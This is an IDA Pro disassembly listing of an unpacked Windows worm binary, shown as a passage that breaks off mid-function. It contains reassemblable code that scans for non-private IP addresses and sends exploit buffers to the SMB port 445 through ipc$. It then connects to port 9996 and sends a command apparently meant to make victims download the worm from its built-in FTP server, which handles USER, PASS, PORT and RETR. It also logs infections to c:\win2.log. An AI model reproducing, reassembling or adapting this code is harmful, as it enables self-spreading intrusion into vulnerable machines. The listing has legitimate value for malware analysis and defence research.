;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 846C14160B7BFC4183DB29157745633D
; File Name : u:\work\846c14160b7bfc4183db29157745633d_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00008000 ( 32768.)
; Section size in file : 00008000 ( 32768.)
; Offset to raw data for section: 00001000
; Flags E0000020: Text Executable Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 401000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
sub_401000 proc near ; CODE XREF: sub_40127D+7Cp
; sub_401EF0:loc_401F35p ...
mov eax, ds:dword_406F30
imul eax, 343FDh
add eax, 279EC3h
mov ds:dword_406F30, eax
shr eax, 10h
and eax, 7FFFh
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
sub_40101E proc near ; CODE XREF: sub_402029+1Fp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ds:dword_406F30, eax
retn
sub_40101E endp
; =============== S U B R O U T I N E =======================================
sub_401028 proc near ; CODE XREF: sub_402029+24p
var_190 = byte ptr -190h
sub esp, 190h
lea eax, [esp+190h+var_190]
push eax
push 101h
call ds:dword_405114 ; WSAStartup
add esp, 190h
retn
sub_401028 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401045 proc near ; CODE XREF: sub_4010D2+4Cp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_0]
call ds:dword_40510C ; inet_addr
movsx ecx, al
mov [ebp+arg_0], eax
movsx edx, byte ptr [ebp+arg_0+2]
movsx esi, byte ptr [ebp+arg_0+3]
movsx edi, ah
test ecx, ecx
mov eax, 100h
jge short loc_40106F
add ecx, eax
loc_40106F: ; CODE XREF: sub_401045+26j
test edi, edi
jge short loc_401075
add edi, eax
loc_401075: ; CODE XREF: sub_401045+2Cj
test edx, edx
jge short loc_40107B
add edx, eax
loc_40107B: ; CODE XREF: sub_401045+32j
test esi, esi
jge short loc_401081
add esi, eax
loc_401081: ; CODE XREF: sub_401045+38j
push 1
cmp ecx, 7Fh
pop eax
jnz short loc_401095
test edi, edi
jnz short loc_4010CE
test edx, edx
jnz short loc_4010CE
cmp esi, eax
jz short loc_4010CC
loc_401095: ; CODE XREF: sub_401045+42j
cmp ecx, 0Ah
jz short loc_4010CC
cmp ecx, 0ACh
jnz short loc_4010AC
cmp edi, 0Fh
jle short loc_4010CE
cmp edi, 20h
jl short loc_4010CC
loc_4010AC: ; CODE XREF: sub_401045+5Bj
cmp ecx, 0C0h
jnz short loc_4010BC
cmp edi, 0A8h
jz short loc_4010CC
loc_4010BC: ; CODE XREF: sub_401045+6Dj
cmp ecx, 0A9h
jnz short loc_4010CE
cmp edi, 0FEh
jnz short loc_4010CE
loc_4010CC: ; CODE XREF: sub_401045+4Ej
; sub_401045+53j ...
xor al, al
loc_4010CE: ; CODE XREF: sub_401045+46j
; sub_401045+4Aj ...
pop edi
pop esi
pop ebp
retn
sub_401045 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4010D2 proc near ; CODE XREF: sub_40127D+9Cp
; sub_401EF0+1Ap
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push ebx
push esi
push edi
lea eax, [ebp+var_100]
push 0FFh
push eax
call ds:dword_405104 ; gethostname
test eax, eax
jnz short loc_401136
lea eax, [ebp+var_100]
push eax
call ds:dword_405110 ; gethostbyname
mov edi, eax
xor esi, esi
cmp edi, esi
jz short loc_401136
mov eax, [edi+0Ch]
cmp [eax], esi
jz short loc_401136
loc_401110: ; CODE XREF: sub_4010D2+60j
mov eax, [esi+eax]
push dword ptr [eax]
call ds:dword_405108 ; inet_ntoa
mov ebx, eax
push ebx
call sub_401045
test al, al
pop ecx
jnz short loc_40113D
mov eax, [edi+0Ch]
add esi, 4
cmp dword ptr [esi+eax], 0
jnz short loc_401110
jmp short loc_401139
; ---------------------------------------------------------------------------
loc_401136: ; CODE XREF: sub_4010D2+20j
; sub_4010D2+35j ...
mov ebx, [ebp+arg_0]
loc_401139: ; CODE XREF: sub_4010D2+62j
test ebx, ebx
jz short loc_401140
loc_40113D: ; CODE XREF: sub_4010D2+54j
push ebx
jmp short loc_401145
; ---------------------------------------------------------------------------
loc_401140: ; CODE XREF: sub_4010D2+69j
push offset a127_0_0_1 ; "127.0.0.1"
loc_401145: ; CODE XREF: sub_4010D2+6Cj
push [ebp+arg_0]
call ds:dword_405018 ; lstrcpy
pop edi
pop esi
pop ebx
leave
retn
sub_4010D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401153 proc near ; CODE XREF: sub_401EF0+E2p
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_4021B0
add esp, 0Ch
mov [ebp+var_10], 2
push 1BDh
call ds:dword_4050F4 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_4011D5
mov [ebp+var_C], eax
push 8
lea eax, [ebp+var_8]
push 0
push eax
call sub_4021B0
add esp, 10h
push 6
push 1
pop ebx
push ebx
push 2
call ds:dword_4050F8 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_4011B4
xor al, al
jmp short loc_4011D1
; ---------------------------------------------------------------------------
loc_4011B4: ; CODE XREF: sub_401153+5Bj
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call ds:dword_4050FC ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_4011C8
xor bl, bl
loc_4011C8: ; CODE XREF: sub_401153+71j
push esi
call ds:dword_40511C ; closesocket
mov al, bl
loc_4011D1: ; CODE XREF: sub_401153+5Fj
pop esi
pop ebx
leave
retn
sub_401153 endp
; =============== S U B R O U T I N E =======================================
sub_4011D5 proc near ; CODE XREF: sub_401153+30p
; sub_40127D+34p ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push edi
call ds:dword_40510C ; inet_addr
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4011F2
test esi, esi
jnz short loc_401204
cmp byte ptr [edi], 30h
jz short loc_40120B
loc_4011F2: ; CODE XREF: sub_4011D5+12j
push edi
call ds:dword_405110 ; gethostbyname
test eax, eax
jz short loc_401204
mov eax, [eax+0Ch]
mov eax, [eax]
mov esi, [eax]
loc_401204: ; CODE XREF: sub_4011D5+16j
; sub_4011D5+26j
cmp esi, 0FFFFFFFFh
jnz short loc_40120B
xor esi, esi
loc_40120B: ; CODE XREF: sub_4011D5+1Bj
; sub_4011D5+32j
mov eax, esi
pop edi
pop esi
retn
sub_4011D5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401210 proc near ; CODE XREF: sub_40127D+F9p
var_14 = byte ptr -14h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
inc ds:dword_406F34
push edi
push ds:dword_406F34
lea eax, [ebp+var_14]
push offset aI ; "%i"
push eax
call ds:dword_4050E0 ; wsprintfA
add esp, 0Ch
push 0
push offset aCWin2_log ; "c:\\win2.log"
call ds:dword_405024 ; _lcreat
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_40127A
lea eax, [ebp+var_14]
push esi
push eax
call sub_402210
mov esi, ds:dword_405020
pop ecx
push eax
lea eax, [ebp+var_14]
push eax
push edi
call esi ; _hwrite
push [ebp+arg_0]
call sub_402210
pop ecx
push eax
push [ebp+arg_0]
push edi
call esi ; _hwrite
push edi
call ds:dword_40501C ; _lclose
pop esi
loc_40127A: ; CODE XREF: sub_401210+37j
pop edi
leave
retn
sub_401210 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40127D proc near ; CODE XREF: sub_401A84+7Bp
var_348 = dword ptr -348h
var_33C = byte ptr -33Ch
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 33Ch
push ebx
push edi
xor ebx, ebx
push 10h
lea eax, [ebp+var_10]
push ebx
push eax
call sub_4021B0
add esp, 0Ch
mov [ebp+var_10], 2
push 270Ch
call ds:dword_4050F4 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_4011D5
mov [ebp+var_C], eax
push 8
lea eax, [ebp+var_8]
push ebx
push eax
call sub_4021B0
add esp, 10h
push 6
push 1
push 2
call ds:dword_4050F8 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_4012E2
xor al, al
jmp loc_401394
; ---------------------------------------------------------------------------
loc_4012E2: ; CODE XREF: sub_40127D+5Cj
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call ds:dword_4050FC ; connect
cmp eax, 0FFFFFFFFh
jz loc_40138B
push esi
call sub_401000
mov esi, eax
lea eax, [ebp+var_110]
push offset dword_406F38
push eax
call ds:dword_405018 ; lstrcpy
lea eax, [ebp+var_110]
push eax
call sub_4010D2
push esi
lea eax, [ebp+var_110]
push esi
push eax
push ds:off_406030
lea eax, [ebp+var_33C]
push eax
call ds:dword_4050E0 ; wsprintfA
lea eax, [ebp+var_33C]
xor esi, esi
push eax
call sub_402210
add esp, 1Ch
test eax, eax
jbe short loc_401373
loc_40134F: ; CODE XREF: sub_40127D+F4j
push ebx
lea eax, [ebp+esi+var_33C]
push 1
push eax
push edi
call ds:dword_4050F0 ; send
lea eax, [ebp+var_33C]
inc esi
push eax
call sub_402210
cmp esi, eax
pop ecx
jb short loc_40134F
loc_401373: ; CODE XREF: sub_40127D+D0j
push [ebp+arg_0]
call sub_401210
mov [esp+348h+var_348], 3E8h
call ds:dword_405028 ; Sleep
mov bl, 1
pop esi
loc_40138B: ; CODE XREF: sub_40127D+75j
push edi
call ds:dword_40511C ; closesocket
mov al, bl
loc_401394: ; CODE XREF: sub_40127D+60j
pop edi
pop ebx
leave
retn
sub_40127D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401398 proc near ; CODE XREF: sub_401A84+15p
var_744 = byte ptr -744h
var_714 = byte ptr -714h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
var_B4 = byte ptr -0B4h
var_B1 = byte ptr -0B1h
var_87 = byte ptr -87h
var_85 = byte ptr -85h
var_84 = byte ptr -84h
var_3C = byte ptr -3Ch
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 744h
push ebx
push esi
push edi
push offset dword_406F38
push [ebp+arg_4]
call ds:dword_405018 ; lstrcpy
push [ebp+arg_0]
lea eax, [ebp+var_3C]
push offset aSIpc ; "\\\\%s\\ipc$"
push eax
call ds:dword_4050E0 ; wsprintfA
add esp, 0Ch
xor edi, edi
xor ecx, ecx
lea eax, [ebp+var_103]
loc_4013D1: ; CODE XREF: sub_401398+49j
mov dl, [ebp+ecx+var_3C]
mov [eax-1], dl
and byte ptr [eax], 0
inc ecx
inc eax
inc eax
cmp ecx, 28h
jl short loc_4013D1
push 60h
lea eax, [ebp+var_B4]
push offset dword_4063E4
push eax
call sub_402290
lea eax, [ebp+var_3C]
push eax
call sub_402210
shl eax, 1
push eax
lea eax, [ebp+var_104]
push eax
lea eax, [ebp+var_84]
push eax
call sub_402290
add esp, 1Ch
lea eax, [ebp+var_3C]
push 9
push (offset aC+3)
push eax
call sub_402210
pop ecx
lea eax, [ebp+eax*2+var_85]
push eax
call sub_402290
lea eax, [ebp+var_3C]
push eax
call sub_402210
add al, 1Ah
push 1
shl al, 1
mov [ebp+var_2], al
lea eax, [ebp+var_2]
push eax
lea eax, [ebp+var_B1]
push eax
call sub_402290
lea eax, [ebp+var_3C]
push eax
call sub_402210
shl al, 1
add al, 9
push 1
mov [ebp+var_1], al
lea eax, [ebp+var_1]
push eax
lea eax, [ebp+var_87]
push eax
call sub_402290
add esp, 2Ch
push [ebp+arg_0]
call ds:dword_405110 ; gethostbyname
mov ebx, eax
cmp ebx, edi
jz loc_401554
push edi
push 1
push 2
loc_401495: ; DATA XREF: .text:off_4065D8o
call ds:dword_4050F8 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
mov [ebp+arg_0], esi
jz loc_401554
push 1BDh
mov [ebp+var_14], 2
call ds:dword_4050F4 ; htons
mov [ebp+var_12], ax
mov eax, [ebx+0Ch]
push 8
push edi
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_10], eax
lea eax, [ebp+var_C]
push eax
call sub_4021B0
add esp, 0Ch
lea eax, [ebp+var_14]
push 10h
push eax
push esi
call ds:dword_4050FC ; connect
cmp eax, 0FFFFFFFFh
jz short loc_401554
mov ebx, ds:dword_4050F0
push edi
push 89h
push offset dword_4061CC
push esi
call ebx ; send
cmp eax, 0FFFFFFFFh
jz short loc_401554
push edi
mov edi, 640h
lea eax, [ebp+var_744]
push edi
push eax
push esi
mov esi, ds:dword_4050EC
call esi ; recv
push 0
push 0A8h
push offset dword_406258
push [ebp+arg_0]
call ebx ; send
cmp eax, 0FFFFFFFFh
jz short loc_401554
push 0
lea eax, [ebp+var_744]
push edi
push eax
push [ebp+arg_0]
call esi ; recv
push 0
push 0DEh
push offset dword_406304
push [ebp+arg_0]
call ebx ; send
cmp eax, 0FFFFFFFFh
jnz short loc_401558
loc_401554: ; CODE XREF: sub_401398+F2j
; sub_401398+10Bj ...
xor eax, eax
jmp short loc_401599
; ---------------------------------------------------------------------------
loc_401558: ; CODE XREF: sub_401398+1BAj
push 0
lea eax, [ebp+var_744]
push edi
push eax
push [ebp+arg_0]
call esi ; recv
push 46h
lea esi, [ebp+var_714]
pop edi
loc_401570: ; CODE XREF: sub_401398+1F3j
movsx eax, byte ptr [esi]
push eax
push [ebp+arg_4]
push offset aSC ; "%s%c"
push [ebp+arg_4]
call ds:dword_4050E0 ; wsprintfA
add esp, 10h
inc esi
inc esi
dec edi
jnz short loc_401570
push [ebp+arg_0]
call ds:dword_40511C ; closesocket
push 1
pop eax
loc_401599: ; CODE XREF: sub_401398+1BEj
pop edi
pop esi
pop ebx
leave
retn
sub_401398 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40159E proc near ; CODE XREF: sub_401A84+3Bp
; sub_401A84+5Ep ...
var_89C4 = byte ptr -89C4h
var_895C = byte ptr -895Ch
var_68EC = byte ptr -68ECh
var_687C = byte ptr -687Ch
var_5DB8 = byte ptr -5DB8h
var_4814 = byte ptr -4814h
var_4813 = byte ptr -4813h
var_3780 = byte ptr -3780h
var_2CBC = byte ptr -2CBCh
var_2CBB = byte ptr -2CBBh
var_2CB8 = byte ptr -2CB8h
var_24D4 = byte ptr -24D4h
var_24C4 = byte ptr -24C4h
var_21A0 = byte ptr -21A0h
var_219C = byte ptr -219Ch
var_2190 = byte ptr -2190h
var_1F08 = byte ptr -1F08h
var_1E8C = byte ptr -1E8Ch
var_16BC = byte ptr -16BCh
var_1211 = byte ptr -1211h
var_F24 = byte ptr -0F24h
var_E84 = byte ptr -0E84h
var_778 = dword ptr -778h
var_768 = byte ptr -768h
var_754 = byte ptr -754h
var_114 = byte ptr -114h
var_113 = byte ptr -113h
var_C4 = byte ptr -0C4h
var_C1 = byte ptr -0C1h
var_97 = byte ptr -97h
var_95 = byte ptr -95h
var_94 = byte ptr -94h
var_4C = byte ptr -4Ch
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 89C4h
call sub_4025D0
mov eax, ds:dword_406A34
push [ebp+arg_0]
mov [ebp+var_14], eax
mov eax, ds:dword_406A38
mov [ebp+var_10], eax
lea eax, [ebp+var_4C]
push offset aSIpc ; "\\\\%s\\ipc$"
push eax
call ds:dword_4050E0 ; wsprintfA
add esp, 0Ch
xor ecx, ecx
lea eax, [ebp+var_113]
loc_4015D8: ; CODE XREF: sub_40159E+4Aj
mov dl, [ebp+ecx+var_4C]
mov [eax-1], dl
and byte ptr [eax], 0
inc ecx
inc eax
inc eax
cmp ecx, 28h
jl short loc_4015D8
push ebx
push esi
push edi
push 60h
lea eax, [ebp+var_C4]
push offset dword_4063E4
push eax
call sub_402290
lea eax, [ebp+var_4C]
push eax
call sub_402210
shl eax, 1
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_94]
push eax
call sub_402290
add esp, 1Ch
lea eax, [ebp+var_4C]
push 9
push (offset aC+3)
push eax
call sub_402210
pop ecx
lea eax, [ebp+eax*2+var_95]
push eax
call sub_402290
lea eax, [ebp+var_4C]
push eax
call sub_402210
add al, 1Ah
push 1
shl al, 1
mov [ebp+var_5], al
lea eax, [ebp+var_5]
push eax
lea eax, [ebp+var_C1]
push eax
call sub_402290
lea eax, [ebp+var_4C]
push eax
call sub_402210
shl al, 1
add al, 9
push 1
mov [ebp+var_6], al
lea eax, [ebp+var_6]
push eax
lea eax, [ebp+var_97]
push eax
call sub_402290
add esp, 2Ch
push 270Ch
call ds:dword_4050F4 ; htons
xor eax, 9999h
push 2
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
push offset dword_4060E4
call sub_402290
mov ebx, [ebp+arg_4]
add esp, 0Ch
cmp ebx, 1
jz short loc_40171A
cmp ebx, 2
jz short loc_40171A
push 7D0h
lea eax, [ebp+var_F24]
push 90h
push eax
call sub_4021B0
mov esi, offset loc_406034
push esi
call sub_402210
push eax
lea eax, [ebp+var_E84]
push esi
push eax
call sub_402290
lea eax, [ebp+var_14]
push eax
call sub_402210
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_768]
push eax
call sub_402290
add esp, 2Ch
imul ebx, 3Ch
mov eax, ds:dword_406810[ebx]
mov [ebp+var_778], eax
jmp loc_4017EE
; ---------------------------------------------------------------------------
loc_40171A: ; CODE XREF: sub_40159E+115j
; sub_40159E+11Aj
mov edi, 0DACh
lea eax, [ebp+var_2CB8]
push edi
push 90h
push eax
call sub_4021B0
imul ebx, 3Ch
push 4
lea eax, [ebp+var_24D4]
lea ebx, dword_406810[ebx]
push ebx
push eax
call sub_402290
mov esi, offset loc_406034
push esi
call sub_402210
push eax
lea eax, [ebp+var_24C4]
push esi
push eax
call sub_402290
push 4
lea eax, [ebp+var_21A0]
push offset dword_406A2C
push eax
call sub_402290
push 4
lea eax, [ebp+var_219C]
push ebx
push eax
call sub_402290
add esp, 40h
push esi
call sub_402210
push eax
lea eax, [ebp+var_2190]
push esi
push eax
call sub_402290
add esp, 10h
xor ecx, ecx
lea eax, [ebp+var_4813]
loc_4017A6: ; CODE XREF: sub_40159E+21Aj
mov dl, [ebp+ecx+var_2CB8]
mov [eax-1], dl
and byte ptr [eax], 0
inc ecx
inc eax
inc eax
cmp ecx, edi
jl short loc_4017A6
and [ebp+var_2CBC], 0
and [ebp+var_2CBB], 0
mov esi, 1C52h
lea eax, [ebp+var_89C4]
push esi
push 31h
push eax
call sub_4021B0
push esi
lea eax, [ebp+var_68EC]
push 31h
push eax
call sub_4021B0
add esp, 18h
loc_4017EE: ; CODE XREF: sub_40159E+177j
push 0
push 1
push 2
call ds:dword_4050F8 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jz loc_401A7D
push 1BDh
mov [ebp+var_24], 2
call ds:dword_4050F4 ; htons
push [ebp+arg_0]
mov [ebp+var_22], ax
call sub_4011D5
mov [ebp+var_20], eax
xor ebx, ebx
push 8
lea eax, [ebp+var_1C]
push ebx
push eax
call sub_4021B0
add esp, 10h
lea eax, [ebp+var_24]
push 10h
push eax
push edi
call ds:dword_4050FC ; connect
cmp eax, 0FFFFFFFFh
jz loc_401A7D
mov esi, ds:dword_4050F0
push ebx
push 89h
push offset dword_4061CC
push edi
call esi ; send
cmp eax, 0FFFFFFFFh
jz loc_401A7D
push ebx
mov ebx, 640h
lea eax, [ebp+var_754]
push ebx
push eax
push edi
mov edi, ds:dword_4050EC
call edi ; recv
push 0
push 0A8h
push offset dword_406258
push [ebp+var_4]
call esi ; send
cmp eax, 0FFFFFFFFh
jz loc_401A7D
push 0
lea eax, [ebp+var_754]
push ebx
push eax
push [ebp+var_4]
call edi ; recv
push 0
push 0DEh
push offset dword_406304
push [ebp+var_4]
call esi ; send
cmp eax, 0FFFFFFFFh
jz loc_401A7D
push 0
lea eax, [ebp+var_754]
push ebx
push eax
push [ebp+var_4]
call edi ; recv
movsx eax, [ebp+var_5]
add eax, 4
push 0
push eax
lea eax, [ebp+var_C4]
push eax
push [ebp+var_4]
call esi ; send
cmp eax, 0FFFFFFFFh
jz loc_401A7D
push 0
lea eax, [ebp+var_754]
push ebx
push eax
push [ebp+var_4]
call edi ; recv
push 0
push 68h
push offset dword_406448
push [ebp+var_4]
call esi ; send
cmp eax, 0FFFFFFFFh
jz loc_401A7D
push 0
lea eax, [ebp+var_754]
push ebx
push eax
push [ebp+var_4]
call edi ; recv
push 0
push 0A0h
push offset dword_4064B4
push [ebp+var_4]
call esi ; send
cmp eax, 0FFFFFFFFh
jz loc_401A7D
push 0
lea eax, [ebp+var_754]
push ebx
push eax
push [ebp+var_4]
call edi ; recv
cmp [ebp+arg_4], 1
jz short loc_4019BB
cmp [ebp+arg_4], 2
jz short loc_4019BB
push 7Ch
lea eax, [ebp+var_1F08]
push offset dword_406558
push eax
call sub_402290
lea eax, [ebp+var_F24]
push 7D0h
push eax
lea eax, [ebp+var_1E8C]
push eax
call sub_402290
push 90h
lea eax, [ebp+var_16BC]
push offset off_4065D8
push eax
call sub_402290
add esp, 24h
and [ebp+var_1211], 0
lea eax, [ebp+var_1F08]
push 0
push 0CF8h
jmp loc_401A5E
; ---------------------------------------------------------------------------
loc_4019BB: ; CODE XREF: sub_40159E+3B8j
; sub_40159E+3BEj
push 68h
lea eax, [ebp+var_89C4]
push offset dword_40666C
push eax
call sub_402290
lea eax, [ebp+var_4814]
push 1B5Ah
push eax
lea eax, [ebp+var_895C]
push eax
call sub_402290
push 70h
lea eax, [ebp+var_68EC]
push offset dword_4066D8
push eax
call sub_402290
lea eax, [ebp+var_3780]
push 0A5Eh
push eax
lea eax, [ebp+var_687C]
push eax
call sub_402290
push 84h
lea eax, [ebp+var_5DB8]
push offset dword_40674C
push eax
call sub_402290
add esp, 3Ch
lea eax, [ebp+var_89C4]
push 0
push 10FCh
push eax
push [ebp+var_4]
call esi ; send
cmp eax, 0FFFFFFFFh
jz short loc_401A7D
push 0
lea eax, [ebp+var_754]
push ebx
push eax
push [ebp+var_4]
call edi ; recv
push 0
push 0FDCh
lea eax, [ebp+var_68EC]
loc_401A5E: ; CODE XREF: sub_40159E+418j
push eax
push [ebp+var_4]
call esi ; send
cmp eax, 0FFFFFFFFh
jz short loc_401A7D
push 3E8h
call ds:dword_405028 ; Sleep
push [ebp+var_4]
call ds:dword_40511C ; closesocket
loc_401A7D: ; CODE XREF: sub_40159E+264j
; sub_40159E+2ABj ...
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_40159E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401A84 proc near ; CODE XREF: sub_402029+3Ap
var_84 = byte ptr -84h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 84h
push esi
mov esi, [ebp+arg_0]
lea eax, [ebp+var_84]
push eax
push esi
call sub_401398
pop ecx
cmp eax, 1
pop ecx
jnz short loc_401B05
lea eax, [ebp+var_84]
push offset dword_406A40
push eax
call sub_402600
pop ecx
test eax, eax
pop ecx
jz short loc_401AC8
push 0
push esi
call sub_40159E
push 0
jmp short loc_401AF5
; ---------------------------------------------------------------------------
loc_401AC8: ; CODE XREF: sub_401A84+36j
lea eax, [ebp+var_84]
push offset dword_406A3C
push eax
call sub_402600
pop ecx
test eax, eax
pop ecx
jz short loc_401AEB
push 1
push esi
call sub_40159E
push 1
jmp short loc_401AF5
; ---------------------------------------------------------------------------
loc_401AEB: ; CODE XREF: sub_401A84+59j
push 2
push esi
call sub_40159E
push 2
loc_401AF5: ; CODE XREF: sub_401A84+42j
; sub_401A84+65j
push esi
call sub_40159E
add esp, 10h
push esi
call sub_40127D
pop ecx
loc_401B05: ; CODE XREF: sub_401A84+1Fj
pop esi
leave
retn
sub_401A84 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401B08 proc near ; DATA XREF: sub_401E65+74o
var_8E4 = byte ptr -8E4h
var_4E4 = byte ptr -4E4h
var_4E0 = byte ptr -4E0h
var_E4 = byte ptr -0E4h
var_60 = byte ptr -60h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = word ptr -4
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8E4h
push ebx
mov ebx, [ebp+arg_0]
cmp ebx, 0FFFFFFFFh
jz loc_401E29
push esi
push edi
push 0
push ds:off_4068D0
call sub_402210
mov esi, ds:dword_4050F0
pop ecx
push eax
push ds:off_4068D0
push ebx
call esi ; send
mov edi, [ebp+arg_0]
jmp short loc_401B46
; ---------------------------------------------------------------------------
loc_401B43: ; CODE XREF: sub_401B08+310j
mov ebx, [ebp+arg_0]
loc_401B46: ; CODE XREF: sub_401B08+39j
push 0
lea eax, [ebp+var_4E4]
push 400h
push eax
push ebx
call ds:dword_4050EC ; recv
and [ebp+eax+var_4E4], 0
mov [ebp+var_10], eax
lea eax, [ebp+var_4E4]
push offset aUser ; "USER"
push eax
call sub_402600
pop ecx
test eax, eax
pop ecx
jz short loc_401B97
push 0
push ds:off_4068D4
call sub_402210
pop ecx
push eax
push ds:off_4068D4
jmp loc_401E11
; ---------------------------------------------------------------------------
loc_401B97: ; CODE XREF: sub_401B08+73j
lea eax, [ebp+var_4E4]
push offset aPass ; "PASS"
push eax
call sub_402600
pop ecx
test eax, eax
pop ecx
jz short loc_401BC8
push 0
push ds:off_4068D8
call sub_402210
pop ecx
push eax
push ds:off_4068D8
jmp loc_401E11
; ---------------------------------------------------------------------------
loc_401BC8: ; CODE XREF: sub_401B08+A4j
lea eax, [ebp+var_4E4]
push offset aPort ; "PORT"
push eax
call sub_402600
pop ecx
test eax, eax
pop ecx
jz loc_401CA4
lea eax, [ebp+var_4E0]
push eax
lea eax, [ebp+var_E4]
push eax
call sub_402720
mov ax, ds:word_406A60
mov [ebp+var_4], ax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_E4]
push eax
call sub_402680
add esp, 10h
mov ebx, eax
xor edi, edi
loc_401C17: ; CODE XREF: sub_401B08+159j
test ebx, ebx
jz short loc_401C4B
cmp edi, 4
jge short loc_401C2E
push ebx
call sub_401E30
pop ecx
mov [ebp+edi*4+var_38], eax
cmp edi, 4
loc_401C2E: ; CODE XREF: sub_401B08+116j
jnz short loc_401C3A
push ebx
call sub_401E30
pop ecx
mov [ebp+var_18], eax
loc_401C3A: ; CODE XREF: sub_401B08:loc_401C2Ej
cmp edi, 5
jnz short loc_401C4E
push ebx
call sub_401E30
pop ecx
mov [ebp+var_14], eax
jmp short loc_401C4E
; ---------------------------------------------------------------------------
loc_401C4B: ; CODE XREF: sub_401B08+111j
push 6
pop edi
loc_401C4E: ; CODE XREF: sub_401B08+135j
; sub_401B08+141j
lea eax, [ebp+var_4]
push eax
push 0
call sub_402680
inc edi
pop ecx
cmp edi, 6
pop ecx
mov ebx, eax
jl short loc_401C17
push [ebp+var_2C]
mov edi, [ebp+var_18]
lea eax, [ebp+var_60]
push [ebp+var_30]
shl edi, 8
push [ebp+var_34]
add edi, [ebp+var_14]
push [ebp+var_38]
push offset aI_I_I_I ; "%i.%i.%i.%i"
push eax
call ds:dword_4050E0 ; wsprintfA
add esp, 18h
push 0
push ds:off_4068E0
call sub_402210
pop ecx
push eax
push ds:off_4068E0
jmp loc_401DD7
; ---------------------------------------------------------------------------
loc_401CA4: ; CODE XREF: sub_401B08+D5j
lea eax, [ebp+var_4E4]
push offset aRetr ; "RETR"
push eax
call sub_402600
pop ecx
test eax, eax
pop ecx
jz loc_401DDC
push 0
push ds:off_4068E4
call sub_402210
pop ecx
push eax
push ds:off_4068E4
push ebx
call esi ; send
lea eax, [ebp+var_60]
push eax
call sub_4011D5
mov ebx, eax
